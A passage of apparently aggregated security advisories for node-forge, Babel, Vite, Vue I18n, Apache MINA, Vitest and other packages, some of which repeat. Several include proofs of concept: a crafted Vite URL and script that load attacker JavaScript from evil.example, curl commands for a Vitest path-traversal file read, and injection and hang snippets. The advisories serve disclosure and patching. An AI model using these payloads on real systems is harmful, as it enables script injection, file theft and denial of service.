`CN=Root`, signed with an unrelated key. `leafA` is a valid certificate issued by `rootA`. var caStore = forge.pki.createCaStore([rootA, rootB]); caStore.listAllCertificates().length; // 2 try { forge.pki.verifyCertificateChain(caStore, [bogus]); } catch(e) {} // rejected as expected ("Certificate signature is invalid.") caStore.listAllCertificates().length; // 0: both CA certificates are gone forge.pki.verifyCertificateChain(caStore, [leafA]); // throws "Certificate signature is invalid." (valid chain now rejected) Without the attacker certificate, verifying `leafA` twice against a fresh store gives the same result: the first call succeeds and removes `rootA`, the second fails. With the fix, the store keeps both certificates and every valid chain verifies. The regression tests are in `tests/unit/x509.js` ("CA store" section). ### Impact Applications that keep a long-lived CA store holding several trusted certificates with the same subject name, and that verify certificate chains received from other parties with `pki.verifyCertificateChain()`. This includes `forge.tls` clients that pass the same `caStore` object to several connections. Duplicate subject names occur with re-keyed or renewed CAs that kept their name, or a CA next to a cross-signed version of itself, mostly in private PKIs. A remote, unauthenticated peer (for example a malicious TLS server or a party submitting a signed document) can send a certificate naming the shared subject as its issuer. This removes every certificate with that subject from the store, so later verifications of valid chains issued by those CA certificates fail until the store is recreated. This is a persistent denial of service for certificate verification against those CA certificates. Verification against other trusted CAs keeps working, no invalid chain is accepted, and stores without duplicate subject names are not affected.
### Summary `asn1.oidToDer()` did not range-check the first two arcs of an OID string, so an OID such as `0.42.840.113549.1.1.1` or `4294977127.18.840.113549.1.1.1` was encoded as the DER of a different OID (here rsaEncryption, `1.2.840.113549.1.1.1`). This is an incomplete fix of CVE-2025-66030. Fixed in node-forge 1.4.1. ### Details X.690 section 8.19 encodes the first two arcs of an OID as one subidentifier, `40 * arc1 + arc2`, where the first arc is 0, 1 or 2 and the second arc is at most 39 when the first is 0 or 1. `asn1.oidToDer()` in `lib/asn1.js` computed that value with no range check and wrote it with `putByte()`, which keeps only the low 16 bits. Out-of-range first arcs therefore produced the encoding of a different OID: `0.42.840.113549.1.1.1` gives `40 * 0 + 42 = 42` and `4294977127.18.840.113549.1.1.1` wraps to 42, both the first byte of rsaEncryption. The fix for CVE-2025-66030 (GHSA-65ch-62r8-g69g, node-forge 1.3.2) added a 32-bit check for the later arcs only. A related encoding bug made valid OIDs with a first subidentifier above 127 (`2.48` and higher, e.g. `2.999`) encode and decode incorrectly, because the first subidentifier was always written and read as a single byte. The fix rejects out-of-range first arcs and encodes and decodes the first subidentifier in base 128 like the others (the latter from public PR #1148). ### Patches Fixed in node-forge 1.4.1. `asn1.oidToDer()` throws for OIDs with out-of-range first arcs, and the first subidentifier is encoded and decoded correctly. ### Workarounds Validate OID strings from untrusted input before passing them to node-forge: the first arc must be 0, 1 or 2, and the second arc at most 39 when the first arc is 0 or 1. ### Credits Reported by wzc. The first subidentifier encoding fix is from PR #1148 by @spokodev. ### Proof of concept var forge = require('node-forge'); var der = forge.asn1.oidToDer('0.42.840.113549.1.1.1'); console.log(der.toHex()); // 2a864886f70d010101 console.log(forge.asn1.derToOid(der)); // 1.2.840.113549.1.1.1 On 1.4.0 the out-of-range OID string encodes to exactly the DER of rsaEncryption (the same happens with `4294977127.18.840.113549.1.1.1`). On 1.4.1 `oidToDer()` throws "Invalid OID; the first two arcs are out of range.". Regression tests are in tests/unit/asn1.js ("should reject OIDs with out of range first arcs"). ### Impact Applications that accept OID strings from untrusted input, check or authorize them as strings, and then encode them with node-forge (for example when building certificates, CSRs or other ASN.1 structures from user-supplied extension or attribute OIDs) can be made to emit a different, trusted OID than the one that was checked. Parsing DER is not affected. There is no confidentiality or availability impact.
Babel is a compiler for writing next generation JavaScript. Prior to 8.0.0-rc.6 and 7.29.6, @babel/core affected by an arbitrary file read via a sourceMappingURL comment. Using @babel/core to compile maliciously crafted code can allow an attacker to read any source map from the system that is running Babel, if the attacker controls the input source code, can read the output source code, and knows the path of the source map file that they want to read. This vulnerability is fixed in 8.0.0-rc.6 and 7.29.6.
## Impact Using `@babel/core` to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are _all_ true: - the attacker controls the input source code - the attacker can read the output source code - the attacker knows the path of the source map file that they want to read **Users that only compile trusted code are not impacted.** ## Patches The vulnerability has been fixed in `@babel/core@7.29.6` and `@babel/core@8.0.0-rc.6`. ## Workarounds Callers can mitigate the issue without upgrading by setting [`inputSourceMap: false`](https://babeljs.io/docs/options#inputsourcemap) in their Babel options. Callers can also manually extract the `#sourceMappingURL` comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to `inputSourceMap` (passing `false` when it's not). ## Credits Thanks Teodor-Cristian Radoi for reporting the vulnerability.
### Summary `BigInteger.prototype.modInverse()` in node-forge's bundled jsbn library enters an infinite loop when the value or the modulus is negative, for example when a negative public exponent is passed to `forge.pki.rsa.generateKeyPair()`. This is an incomplete fix of CVE-2026-33891 (GHSA-5m6q-g25r-mvwx), which handled only a zero value. Fixed in node-forge 1.4.1. ### Details `bnModInverse()` (`lib/jsbn.js`, exposed as `forge.jsbn.BigInteger.prototype.modInverse`) implements the binary extended Euclidean algorithm (Handbook of Applied Cryptography, Algorithm 14.61), which is defined for positive integers. With a negative operand the loop cannot terminate: `rShiftTo` is an arithmetic shift, so a negative value never moves towards zero, and the loop's exit condition (`u` reaching zero) is never met. The calling thread spins at 100% CPU indefinitely; in Node.js this blocks the event loop. Memory does not grow. node-forge 1.4.0 fixed CVE-2026-33891 (GHSA-5m6q-g25r-mvwx) by returning zero early when `this.signum() == 0`, although its changelog describes the check as "<= 0". Negative values were not covered, and a negative modulus was never handled. Every negative input that did terminate already returned zero. Within node-forge, RSA key generation is the only path to a negative operand: the caller's public exponent `e` becomes `BigInteger.fromInt(e)`, and `state.e.modInverse(state.phi)` is called with it. `gcd()` works on absolute values, so the coprimality checks pass and the loop is reached. Any exponent other than 3 or 65537 uses the pure JavaScript implementation, even when `forge.options.usePureJavaScript` is not set. RFC 8017, Section 3.1 requires the RSA public exponent to be at least 3. Values that node-forge parses (DER, PEM, JWK, PKCS#12, X.509, TLS) are always read as unsigned integers and cannot produce a negative operand. The fix makes `modInverse()` return zero when the value or the modulus is zero or negative, as it already does when no inverse exists. Results for positive inputs are unchanged. This issue was reported by wzc. ### Patches Fixed in node-forge 1.4.1. `modInverse()` now returns zero when the value or the modulus is zero or negative. ### Workarounds - Pass only fixed, valid RSA public exponents (e.g. 65537) to key generation, or validate caller-supplied exponents first: an odd integer `>= 3`. - Do not call `BigInteger#modInverse()` with negative operands. Reduce the value modulo a positive modulus first (`x.mod(m).modInverse(m)`). ### Proof of concept A negative public exponent passed to RSA key generation never returns (also with the callback form and with `createKeyPairGenerationState()` / `stepKeyPairGenerationState()`): var forge = require('node-forge'); forge.pki.rsa.generateKeyPair({bits: 256, e: -1}); // hangs at 100% CPU Calling `modInverse()` directly with a negative value or modulus hangs the same way: var BigInteger = forge.jsbn.BigInteger; new BigInteger('-1').modInverse(new BigInteger('7')); // hangs new BigInteger('3').modInverse(new BigInteger('-7')); // hangs With the fix, these calls return zero. The regression tests are in `tests/unit/jsbn.js`. ### Impact Applications are affected only if they: - pass an untrusted value as the RSA public exponent `e` to `forge.pki.rsa.generateKeyPair()`, `forge.pki.rsa.createKeyPairGenerationState()` or `forge.pki.rsa.stepKeyPairGenerationState()`, or - call `forge.jsbn.BigInteger#modInverse()` directly with negative values derived from untrusted input. An attacker who can supply such a value makes the call hang indefinitely at 100% CPU, which blocks the Node.js event loop (denial of service). Keys and other data parsed by node-forge (DER, PEM, JWK, PKCS#12, X.509, TLS) cannot trigger this issue, and the documented usage of key generation passes a constant exponent (65537). There is no effect on confidentiality or integrity.
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
Vue I18n is the internationalization plugin for Vue.js. From 9.0.0-beta.5 until 11.4.14 and 12.0.0-alpha.5, enabling escapeParameter, called escapeParameterHtml in the Legacy API, does not escape named interpolation values when the same translation call supplies both list and named values because escapeParams() processes only the list branch. Applications that render translations as HTML and pass untrusted named values with a list can insert attacker-controlled markup, including phishing links, forms, and layout changes, and can permit script execution when combined with the srcdoc sanitizer bypass or on releases without the sanitizer. This issue is fixed in versions 11.4.14 and 12.0.0-alpha.5.
### Summary When `escapeParameter` is enabled (`escapeParameterHtml` in the Legacy API), Vue I18n escapes the interpolation parameters before formatting a message. `escapeParams()` escapes either the list values or the named values, but not both: the two branches are joined by `else`. When a single call passes both, for example `t(key, ['...'], { named: { ... } })`, the named values reach the message without being escaped. ### Details `escapeParams()` in [`packages/core-base/src/translate.ts` (v11.4.13)](https://github.com/intlify/vue-i18n/blob/v11.4.13/packages/core-base/src/translate.ts): ```ts function escapeParams(options: TranslateOptions) { if (isArray(options.list)) { options.list = options.list.map(item => (isString(item) ? escapeHtml(item) : item)) } else if (isObject(options.named)) { // ...escapes the named values } } ``` `t(key, list, options)` is a public overload, and `TranslateOptions` has a `named` field, so a call can carry both. The list is checked first, and the named values are then left as they are. The translated string still goes through `sanitizeTranslatedHtml()` (added for CVE-2025-53892), which neutralizes event handler attributes and `javascript:` URLs. Other markup in the named values, such as links and forms, is inserted as is. Before the fix for GHSA-83rm-6c8r-g728, an `<iframe srcdoc>` in a named value also passes the sanitizer, and script runs. Versions without the sanitizer (before 9.14.5, 10.0.8 and 11.1.10, and 12.0.0-alpha.1 to alpha.3) insert the named values as HTML without any further check. `<i18n-t>` is not affected: it passes either list or named values, never both, and it does not render translations as HTML. ### PoC ```js import { createI18n } from 'vue-i18n' const i18n = createI18n({ legacy: false, locale: 'en', escapeParameter: true, messages: { en: { withList: '{0} {name}', withoutList: '{name}' } } }) const t = i18n.global.t t('withoutList', { name: '<b>x</b>' }) // <b>x</b> escaped t('withList', ['a'], { named: { name: '<b>x</b>' } }) // a <b>x</b> not escaped (v11.4.13) ``` ### Impact Applications are affected when they enable `escapeParameter`, render translations as HTML (for example with `v-html`), and pass untrusted named values in the same call as a list. The named values are inserted as markup: phishing links, forms, or layout changes. Together with GHSA-83rm-6c8r-g728, or on versions without the sanitizer, this leads to script execution (DOM-based XSS). ### Patches Fixed in 11.4.14 and 12.0.0-alpha.5. `escapeParams()` now escapes both the list and the named values. The fix also stops rewriting the named object that the caller passes. Before, the values of that object were replaced with their escaped form, so a second call with the same object escaped them twice. v9 and v10 are no longer supported and will not be fixed. Please migrate to v11. ### Workarounds - Do not pass list and named values in the same call when `escapeParameter` is enabled. - Do not render translations that can contain untrusted values with `v-html`. Use component interpolation (`<i18n-t>`) instead.
### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true }) try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', ) console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ``` Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ```
No vulnerability to address.
Resolved or not affected 254 (455)
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key. This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under the parent domain's key. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
initDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue.
The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade
Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.110, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade
The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
ZDRES-232: resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy Assessment: Fully addressed. When the serialised stream contains a TC_PROXYCLASSDESC (the marker for a java.lang.reflect.Proxy ), JDK’s ObjectInputStream.readProxyDesc() is dispatched. JDK then calls the default ObjectInputStream.resolveProxyClass(interfaces) implementation, which performs Class.forName(intf, false, latestUserDefinedLoader()) for EACH interface name and constructs the proxy class — bypassing the accepted classes list . ZDRES-233: Class.forName(name, initialize=true, classLoader) in readClassDescriptor Triggers Static Initialiser of Allow-Listed Classes Assessment: Fully addressed. For ANY class on the allow-list, deserialising a stream that names it triggers the class’s (static initialiser) BEFORE any instance is constructed. This means an attacker who supplies a class name on the allow-list (e.g., the developer wrote accept(“com.myapp.*") , attacker supplies com.myapp.SomeClass ) causes <clinit> of SomeClass — and many real-world classes have side-effecting static initialisers Both issues have been fixed.
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names, and both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in, so if Object.prototype has been polluted by another vector the polluted keys are copied into the imports object and passed to Function(). The issue is fixed in 4.18.1 for lodash, lodash-es, lodash-amd, and lodash.template. As a workaround, do not pass untrusted input as key names in options.imports; use only developer-controlled, static key names.
### Summary Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network. ### Impact Only users that match either of the following conditions are affected: - explicitly exposes the Vitest UI server to the network (using `--api.host` or [`api.host` config option](https://vitest.dev/config/api.html)) - running the Vitest UI or Browser Mode on Windows ### Details The API handler for `/__vitest_attachment__` uses the deprecated `isFileServingAllowed` incorrectly. https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77 The function expects the passed value to use `cleanUrl` after the check before file system related operation. Because of this, it is possible to bypass the check by `\\?\\..\\`. This is not possible on Linux as Linux errors if a directory named `?` does not exist. A similar problem exists in other places as well. - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121 **That said**, this `isFileServingAllowed` check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using `saveTestFile` and running it using `rerun`. This means exposing the API / Vitest UI is equivalent to giving script execution access. On the browser mode side, there're `readFile` / `writeFile` / `saveSnapshotFile`. So exposing the browser mode is equivalent to giving file read / write access. ### PoC 1. Run Vitest UI 2. Get the API token by `curl http://localhost:51204/__vitest__/` 3. Run `curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN"` (TOKEN is the API token) 4. curl shows the content of `secret.txt` that is outside the project directory ### Mitigations Vitest now ships two configuration flags, [`allowWrite`](https://vitest.dev/config/api.html#api-allowwrite) and [`allowExec`](https://vitest.dev/config/api.html#api-allowexec), that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-`localhost` host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients. When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See [`browser.api`](https://vitest.dev/config/browser/api.html#api-allowwrite). Users who require the full interactive UI on a networked host must explicitly opt in by setting `allowWrite` and/or `allowExec` to `true`.
Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
initDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.
The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with `exec()`, an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is `[A-z]` instead of the correct `[A-Za-z]`. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
ZDRES-232: resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy Assessment: Fully addressed. When the serialised stream contains a TC_PROXYCLASSDESC (the marker for a java.lang.reflect.Proxy ), JDK’s ObjectInputStream.readProxyDesc() is dispatched. JDK then calls the default ObjectInputStream.resolveProxyClass(interfaces) implementation, which performs Class.forName(intf, false, latestUserDefinedLoader()) for EACH interface name and constructs the proxy class — bypassing the accepted classes list . ZDRES-233: Class.forName(name, initialize=true, classLoader) in readClassDescriptor Triggers Static Initialiser of Allow-Listed Classes Assessment: Fully addressed. For ANY class on the allow-list, deserialising a stream that names it triggers the class’s (static initialiser) BEFORE any instance is constructed. This means an attacker who supplies a class name on the allow-list (e.g., the developer wrote accept(“com.myapp.*") , attacker supplies com.myapp.SomeClass ) causes <clinit> of SomeClass — and many real-world classes have side-effecting static initialisers Both issues have been fixed.
The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js. This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, cross-host request replay updates the current request but leaves the target request and related proxy context pointing at the original origin. Connection-pool selection, CONNECT handling, realm selection, and TLS setup can consequently send the original host's path, Host header, Authorization credentials, or plaintext request to the replay destination. Documented ResponseFilter failover and retry paths can trigger the replay. This issue is fixed in versions 3.0.13 and 2.16.1.
### Summary form-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: 1. can observe other values produced by Math.random in the target application, and 2. can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. ### Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this 